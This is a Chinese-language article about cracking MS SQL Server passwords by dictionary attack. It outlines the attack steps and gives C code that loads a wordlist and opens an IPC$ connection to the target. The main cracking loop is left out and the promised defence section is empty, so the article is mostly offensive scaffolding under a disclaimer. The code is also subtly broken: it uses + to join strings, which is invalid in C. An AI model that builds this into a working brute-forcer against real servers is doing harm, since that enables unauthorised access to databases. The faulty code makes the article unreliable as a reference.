MS SQL Server 密碼破解原理與防禦：字典攻擊實戰程式碼分析

⚠️ 法律聲明

本文僅供技術交流與防禦研究，嚴禁用於非法入侵。作者不承擔任何濫用責任。

攻擊流程概覽

1. 建立 IPC$ 連線（WNetAddConnection2）
2. 讀取字典檔（每行一組密碼）
3. 逐筆嘗試登入（SQLConnect/SQLDriverConnect）
4. 成功即記錄並停止

核心程式碼結構（C 语言）

// 全域變數
char dict[20000][40];  // 字典
char UserName[40], target[40], passwd[40];
int total = 0;
BOOL Cracked = FALSE;

// 讀取字典
int ReadDic(char *dic) {
    FILE *fp = fopen(dic, "r");
    if (!fp) return 1;
    char tmp[40];
    while (fgets(tmp, 40, fp) && total < 20000) {
        tmp[strlen(tmp)-1] = 0;  // 移除換行
        strcpy(dict[total++], tmp);
    }
    fclose(fp);
    return 0;
}

// 建立 IPC 連線
int ConnIPC(char *RemoteName) {
    NETRESOURCE nr = {0};
    nr.dwType = RESOURCETYPE_DISK;
    nr.lpRemoteName = "\\\\" + RemoteName + "\\ipc$";
    return WNetAddConnection2(&nr, "", "", CONNECT_UPDATE_PROFILE) == NO_ERROR ? 0 : 1;
}

// 主破解迴圈（略）

防禦對策

結語

字典攻擊屬離線/線上暴力破解基礎形式，強密碼+最小權限+網路隔離即可有效化解。